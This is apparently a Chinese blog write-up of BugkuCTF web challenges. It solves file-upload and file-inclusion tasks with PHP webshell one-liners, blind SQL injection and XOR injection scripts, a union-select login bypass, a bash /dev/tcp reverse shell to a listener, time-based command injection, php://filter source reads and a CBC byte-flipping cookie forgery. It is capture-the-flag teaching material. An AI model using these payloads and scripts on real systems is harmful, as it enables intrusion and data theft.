[BugkuCTF]Web部分(3)

    本文记录一下BugkuCTF上Web部分的第四十一及之后的题目。其他BugkuCTF的题目参见文末的链接。

文件包含2

http://123.206.31.85:49166/

flag格式:SKCTF{xxxxxxxxxxxxxxxx}

hint:文件包含

打开页面源代码,看到提示

1
<!-- upload.php -->

打开upload.php页面,是个文件上传。随便上传个文件,用burp改一下。

经测试,文件名须jpg gif png结尾,%00截断不管用,post中的Content-Type须修改为对应图片类型,这样才能上传成功。

尝试写入一句话:

1
<?php @eval($_POST['otuki']);?>

发现被替换成了下划线。

然后查到了另一种一句话:

1
<script language=php>system('ls')</script>

成功上传,并通过file文件包含访问传入的图片文件:

访问其中名字像是flag的文件:

flag.php

地址:http://123.206.87.240:8002/flagphp/

点了login咋没反应

提示:hint

打开一看果真输入什么提交都没反应,想到提示hint,于是尝试使用get传参

1
http://123.206.87.240:8002/flagphp/?hint=1

看到了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

首先,使用error_reporting(0)关闭错误回显,然后要传入一个cookie变量“ISecer”,它的反序列化===变量KEY。

写一个php生成KEY的序列化:

1
2
3
<?php
print_r(serialize('ISecer:www.isecer.com'));
?>

将其传入cookie发包却不成功,回头再看源码,发现$KEY=’ISecer:www.isecer.com'是在最下面,判断unserialize($cookie) === “$KEY”时,$KEY还没定义,应该是NULL。于是修改一下php:

1
2
3
<?php
print_r(serialize(''));
?>

使用burp添加参数repeater:

sql注入2

http://123.206.87.240:8007/web2/

全都tm过滤了绝望吗?

提示 !,!=,=,+,-,^,%

说实话还是有些绝望的…

post传入uname=admin&passwd=123时,返回password error;post传入uname=admin1&passwd=123时,返回username error。这就说明了可以利用这个返回信息进行bool型注入,通过闭合uname尝试返回password error。

接下来,就测试一下到底过滤了哪些东西。

通过使用burp的intruder进行fuzz测试,包括但不仅限于以下关键字惨遭过滤:

原来提示的那些字符是没有被过滤的,也是提醒我们使用的。

但是空格,or,and等都被过滤了,怎么来构造语句呢?

通过看一叶飘零的writeup,学到了…

构造

1
2
uname=admin'-0-'
语句拼接后为select 'admin'-0-'',查询返回0

返回password error

1
2
uname=admin'-1-'
语句拼接后为select 'admin'-1-'',查询返回-1

返回username error

这是因为将username雨查询结果比较时,将str型的username当做0与int型的查询结果比较,0==0,所以返回用户名正确,也就是password error。

然后就是构造查询语句

通常bool型查询语句类似下面:

ascii(substr((select database()),1,1))>97

如果没有逗号和空格呢?

构造:

1
mid((passwd)from(-2))

可正序输出passwd的最后两位

使用reverse()将字符串反转:

1
reverse(mid((passwd)from(-2)))

再取最后一位ascii值进行比较:

1
ascii(reverse(mid((passwd)from(-2)))from(-1)))=97

当条件成立时,语句变为:

1
uname=admin'-1-'

返回username error

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://123.206.87.240:8007/web2/login.php"
cookie = {
'PHPSESSID':'4ovrcc2tndhr4ut9so488imi85uv1vo8'
}

s = requests.Session()
s.keep_alive = False

password = ""
for i in range(1,33):
for j in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,[email protected]#$%^&*.':
payload = "admin'-(ascii(mid(REVERSE(MID((passwd)from(-"+str(i)+")))from(-1)))="+str(ord(j))+")-'"
data = {
'uname': payload,
'passwd': 'otuki.top'
}
r = s.post(url=url,cookies=cookie,data=data)
if "username error!!" in r.content:
password += j
print password
break

md5解密为admin123

使用正确的用户名密码登录:

之后执行ls即可:

孙xx的博客

http://wp.bugku.com/

需要用到渗透测试第一步信息收集

域名貌似有点问题,先占个位儿。

Trim的日记本

http://123.206.87.240:9002/

hints:不要一次就放弃

总是显示mysql connect error !题目应该有点问题,御剑扫一波可以扫出./show.php,可看到flag,据说原题考二次注入,先了解一下吧。

二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

login2(SKCTF)

http://123.206.31.85:49165/

SKCTF{xxxxxxxxxxxxxxxxxxxxx}

hint:union,命令执行

随便登录一下抓包看到返回包中有tip,base64解码后:

1
2
3
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

虽然这里需要在有查询结果的同时,还要比对md5值,但根据提示使用联合查询,可以进行绕过:

1
username=admin' union select 1,md5(1) %23&password=1

虽然不一定能查到admin的结果,但一定会有一条username=1&password=md5(1)的显示结果,md5比对自然也可以通过。

登录成功后,显示命令执行界面:

通过学习大佬们的writeup,总结以下两种解法:

使用nc反弹shell

VPS:

1
nc -lvv 8888

命令执行:

1
|bash -i >& /dev/tcp/公网IP/8888 0>&1

这样就可以在反弹shell到vps上。

基于时间的命令行盲注

尝试执行命令发现除了进程信息之外,其他都不显示。再执行:

1
123;sleep 5

发现返回延迟了5秒,证明命令执行了,但没有回显。于是尝试使用命令行注入语句:

1
c=123;a=`ls`;b='a';if [ ${a:0:1} == $b ];then sleep 2;fi

如果a的执行结果的第一个字母为”a”,则sleep 5。从而依次列出目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import time

url = 'http://123.206.31.85:49165/'
s = requests.Session()
ls = ''

data = {
"username" : "admin' union select 1,md5(1) #",
"password" : '1',
}
res1 = s.post(url=url+'login.php', data=data)

# for i in range(100):
# for j in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{}[][email protected]#$%^&*/\|.':
# payload = "123;a=`ls`;b='"+ j +"';if [ ${a:"+ str(i) + ":1} == $b ];then sleep 5;fi"
# data = {
# "c" : payload,
# }
# starttime = time.time()
# res2 = s.post(url=url+'index.php', data=data)
# # print payload
# endtime = time.time()
# if (endtime - starttime) > 4:
# ls += j
# print ls
# break


for i in range(100):
for j in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{}[][email protected]#$%^&*/\|.':
payload = "123;a=`cat f*`;b='"+ j +"';if [ ${a:"+ str(i) + ":1} == $b ];then sleep 5;fi"
data = {
"c" : payload,
}
starttime = time.time()
res2 = s.post(url=url+'index.php', data=data)
# print payload
endtime = time.time()
if (endtime - starttime) > 4:
ls += j
print ls
break

先列目录,再读文件。

login3(SKCTF)

http://123.206.31.85:49167/

flag格式:SKCTF{xxxxxxxxxxxxx}

hint:基于布尔的SQL盲注

先fuzz测试过滤了什么。

有三种回显信息:username为admin时,显示password error;检测到特定字符时,显示illegal character;其他时候显示username does not exist。那么现在的思路就是构造payload,避开被检测的字符,通过区分其他两种回显作为bool型盲注。

因为过滤了union,and,逗号,等号,空格等,这里使用异或(xor)注入。

1
admin'^(表达式)^0#

当表达式结果为false时,返回password error。之所以最后要加上^0,是因为

1
2
3
admin'^0^0#		返回1
admin'^0^1# 返回0
admin'^1^1# 返回1

如果将^0改为^1,回显改变,说明表达式结果的确为false;如果回显不变,说明表达式有语法错误。

因为information也被检测,这里只能尝试通过参数名猜表名和列名。构造payload:

1
2
3
猜表名:admin'^(select(1)from(admin))^1#
猜列名:admin'^(select(count(password))from(admin))^1#
查数据:admin'^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#

上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = 'http://123.206.31.85:49167/index.php'
r = ''
for i in range(50):
for j in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,{}[][email protected]#$%^&*/\|.':
payload = "admin'^(ascii(mid((select(password)from(admin))from(" + str(i) + ")))<>" + str(ord(j)) + ")^0#"
data = {
"username" : payload,
"password" : "otuki.top",
}
t = requests.post(url=url, data=data).content
if 'error' in t:
r += j
print r
break

md5解密为:skctf123456

登录后可看到flag:

文件上传2(湖湘杯)

http://123.206.87.240:9011/

进入上传页面,提示上传png

上传一句话木马后提示Failed to load image。

尝试访问./?op=index,发现有页面,但显示无页面。

使用php://filter协议读文件:

base64解码后为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
define('FROM_INDEX', 1);

$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op))
die('Try it again and I will kill you! I freaking hate hackers!');
ob_start('ob_gzhandler');

function page_top($op) {
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title>
</head>
<body>
<div id="header">
<center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
</div>
<div id="body">
<?php
}

function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}

function page_bottom() {
?>
</div>
<center>
<div id="footer">
<div>
<p>
<span>2017 &copy; </span> All rights reserved.
</p>
</div>
</div>
</center>
</body>
</html><?php
ob_end_flush();
}

register_shutdown_function('page_bottom');

page_top($op);

if(!(include $op . '.php'))
fatal('no such page');
?>

根据源码,传入op变量,会拼接上“.php”,并包含该页面,包含失败会返回no such page。使用御剑扫一波后台,发现存在flag.php。于是构造payload:

1
http://123.206.87.240:9011/?op=php://filter/read=convert.base64-encode/resource=flag

base64解码为:

江湖魔头

http://123.206.31.85:1616/

学会如来神掌应该就能打败他了吧

这是道新出的题,打开链接,点击确定生成一个角色(cookie)。

这个游戏通过赚钱升满所有属性,再来学习如来神掌,就可以讨伐boss,拿到flag。

去掉这个链接的参数得到http://123.206.31.85:1616/wulin.php是另一个页面。

既然能检测flag的正确性,一般就是有机可乘。

base64.js和md5.js就不用看了,重点看一下script.js。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
eval(function (p, a, c, k, e, r) {
e = function (c) {
return (c < 62 ? '' : e(parseInt(c / 62))) + ((c = c % 62) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if ('0'.replace(0, e) == 0) {
while (c--)
r[e(c)] = k[c];
k = [function (e) {
return r[e] || e
}];
e = function () {
return '[57-9abd-hj-zAB]'
};
c = 1
};
while (c--)
if (k[c])
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('7 s(t){5 m=t+"=";5 8=9.cookie.n(\';\');o(5 i=0;i<8.d;i++){5 c=8[i].trim();u(c.v(m)==0)p c.substring(m.d,c.d)}p""}7 w(a){5 x=new Base64();5 q=x.decode(a);5 r="";o(i=0;i<q.d;i++){5 b=q[i].charCodeAt();b=b^i;b=b-((i%10)+2);r+=String.fromCharCode(b)}p r}7 ertqwe(){5 y="user";5 a=s(y);a=decodeURIComponent(a);5 z=w(a);5 8=z.n(\';\');5 e="";o(i=0;i<8.d;i++){u(-1<8[i].v("A")){e=8[i+1].n(":")[2]}}e=e.B(\'"\',"").B(\'"\',"");9.write(\'<img id="f-1" g="h/1-1.k">\');j(7(){9.l("f-1").g="h/1-2.k"},1000);j(7(){9.l("f-1").g="h/1-3.k"},2000);j(7(){9.l("f-1").g="h/1-4.k"},3000);j(7(){9.l("f-1").g="h/6.png"},4000);j(7(){alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!A{"+md5(e)+"}")},5000)}', [], 38, '|||||var||function|ca|document|temp|num||length|key|attack|src|image||setTimeout|jpg|getElementById|name|split|for|return|result|result3|getCookie|cname|if|indexOf|decode_create|base|temp_name|mingwen|flag|replace'.split('|'), 0, {}))

使用了packer混淆,那就找个在线解混淆的网站解一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
function getCookie(cname) {
var name = cname + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i].trim();
if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
}
return ""
}
function decode_create(temp) {
var base = new Base64();
var result = base.decode(temp);
var result3 = "";
for (i = 0; i < result.length; i++) {
var num = result[i].charCodeAt();
num = num ^ i;
num = num - ((i % 10) + 2);
result3 += String.fromCharCode(num)
}
return result3
}
function ertqwe() {
var temp_name = "user";
var temp = getCookie(temp_name);
temp = decodeURIComponent(temp);
var mingwen = decode_create(temp);
// decode_create(decodeURIComponent(getCookie("user")))
//
var ca = mingwen.split(';');
var key = "";
for (i = 0; i < ca.length; i++) {
if (-1 < ca[i].indexOf("flag")) {
key = ca[i + 1].split(":")[2]
}
}
key = key.replace('"', "").replace('"', "");
document.write('<img id="attack-1" src="image/1-1.jpg">');
setTimeout(function () {
document.getElementById("attack-1").src = "image/1-2.jpg"
}, 1000);
setTimeout(function () {
document.getElementById("attack-1").src = "image/1-3.jpg"
}, 2000);
setTimeout(function () {
document.getElementById("attack-1").src = "image/1-4.jpg"
}, 3000);
setTimeout(function () {
document.getElementById("attack-1").src = "image/6.png"
}, 4000);
setTimeout(function () {
alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{" + md5(key) + "}")
}, 5000)
}

其中,decodeURIComponent()是将url编码解码;charCodeAt()方法可返回指定位置的字符的Unicode编码;fromCharCode()将 Unicode编码转为一个字符。

通过代码可知,它是通过将角色的各个属性保存为cookie来识别用户的,这其中就包含角色拥有的金钱。现在的思路就是通过这段解密cookie的代码,写出生成cookie的脚本得到想要的cookie。先通过抓包或者在Chrome控制台里运行”decode_create(decodeURIComponent(getCookie(“user”)))”得到现在的属性信息:

1
'O:5:"human":10:{s:8:"xueliang";i:500;s:5:"neili";i:998;s:5:"lidao";i:98;s:6:"dingli";i:57;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:0;s:4:"flag";s:1:"0";}'

生成新cookie的python代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64
from urllib.parse import quote

payload = 'O:5:"human":10:{s:8:"xueliang";i:500;s:5:"neili";i:998;s:5:"lidao";i:98;s:6:"dingli";i:57;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:1000000;s:4:"flag";s:1:"0";}'
b = bytearray()
for i in range(len(payload)):
a = ord(payload[i]) + ((i % 10) +2)
a ^= i
b.append(a)

c = base64.b64encode(b)
c = quote(c)
print(c)

使用burp或者EditThisCookie将cookie修改为生成的,即可尽情买买买啦~

login4

http://123.206.31.85:49168/

flag格式:SKCTF{xxxxxxxxxxxxxxxx}

hint:CBC字节翻转攻击

先学习了一下什么叫CBC字节翻转攻击:

  • Plaintext:待加密的数据。
  • IV:用于随机化加密的比特块,保证即使对相同明文多次加密,也可以得到不同的密文。
  • Ciphertext:加密后的数据。

加密过程:

  1. 将明文分组(常见以16字节为一组),位数不足使用特殊字符填充;
  2. 生成随机初始化向量iv和密钥key;
  3. 将iv和第一组明文异或;
  4. 用密钥对上面的结果加密;
  5. 将上面的结果与第二组明文异或;
  6. 重复4、5,直到产生最后一组密文;
  7. 将iv与加密后的密文拼接得到最终密文。

解密过程:

  1. 从密文中提取iv,并将密文分组;
  2. 用密钥对第一组密文解密,并与iv异或得到第一组明文;
  3. 用密钥对第二组密文解密,并与上面的明文异或得到第二组明文;
  4. 重复3,直到产生最后一组明文。

上图就是进行翻转攻击的示意图。翻转第一组明文中的一个字节,只要改变前一组密文中的对应字节即可,这样就能欺骗服务器或绕过过滤器。

先使用御剑扫出存在./.index.php.swp,下载并在linux下运行:

1
2
vim -r .index.php.swp	#恢复
:w /root/index.php #另存为

打开index.php,css就不粘了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>

根据源码可知,当用户登录后,服务器将传入的数据进行序列化,然后使用一个未知的key和一个已知的iv来进行CBC加密,再经过base64和url编码后,作为cipher加入cookie中。只有以admin登录时,显示flag,同时当用户名为admin时,又要拒绝登录。

这样的话我们就要以一个不是admin的用户登录,取得这个用户的cookie,再通过字节翻转,得到admin的cookie,从而获取flag。

使用如下信息登录:

1
username=admio&password=12345&submit=Login

得到iv和cipher:

1
2
cipher=E8%2FlLYTCZNJRaDhydQ6wHGVU9IE7A6%2FF%2FzkhA7pPmtIuANUAljbBt7jmNbo%2BchAw4FXcDznh%2FKGICIwzMdOuig%3D%3D
iv=g6fNISh7uYtgH6jJfm4f%2Fw%3D%3D

之后手动在get请求中设置上cookie,返回包显示已成功以admio用户登录:

证明服务器是通过这两个cookie进行身份验证。

然后写一个php脚本生成参数的序列化:

1
2
3
4
5
6
7
<?php
$username = 'admio';
$password = '12345';
$info = array('username'=>$username,'password'=>$password);
$plain = serialize($info);
echo $plain;
?>

序列化:

1
a:2:{s:8:"username";s:5:"admio";s:8:"password";s:5:"12345";}

将序列化内容分组:

1
2
3
4
a:2:{s:8:"userna
me";s:5:"admio";
s:8:"password";s
:5:"12345";}

要修改admio为admin,即第二组明文的第13个字节(从0开始)进行翻转,需要修改第一组密文的第13个字节。

1
2
3
4
5
6
<?php
//生成新的cipher
$plaintext = base64_decode(urldecode("WGojxKCYET4DcKVOHt7T9ePQ21LQYOhVBtK%2FHHeAXVkjp%2BurHGjGk6J%2BLOPe4JtaIhWUh4UVTs14%2FzCE5wc8EA%3D%3D"));
$plaintext[13] = chr(ord($plaintext[13]) ^ ord("o") ^ ord("n"));
echo urlencode(base64_encode($plaintext))
?>

将新的密文和旧的iv提交:

提示的无法序列化的字符串,正是修改后的第一组密文解密之后和旧的iv异或生成的错误的第一组明文,需要再通过这个错误的明文和旧的iv生成新的iv,来对应新的密文。

1
2
3
4
5
6
7
8
9
<?php
//生成新的iv
$plaintext = base64_decode("Q89Yyi8j+DSGXkWOwLnG6W1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9");
$iv = base64_decode(urldecode("8Dos7Qf06O3kCgs126%2B4%2BQ%3D%3D"));
$first_text = 'a:2:{s:8:"userna';
$new_iv = '';
for ($i = 0; $i < 16; $i++){
$new_iv .= chr(ord($iv[$i]) ^ ord($plaintext[$i]) ^ ord($first_text[$i]));
}

再将新的密文和新的iv提交:

web部分总结:

目前,bugku的web部分只有这些题目,里面有很多自认为比较难的题目,也是参考了多位大神的writeup,对此表示感谢!如果今后有新的web题,我也会尽量及时更新,如果本菜鸡能做出来的话…Orz…

所有BugkuCTF的题目:

[BugkuCTF]Web部分(1)

[BugkuCTF]Web部分(2)

[BugkuCTF]Web部分(3)

[BugkuCTF]杂项部分(1)

[BugkuCTF]杂项部分(2)

[BugkuCTF]杂项部分(3)

但愿我的博文能对您有所帮助~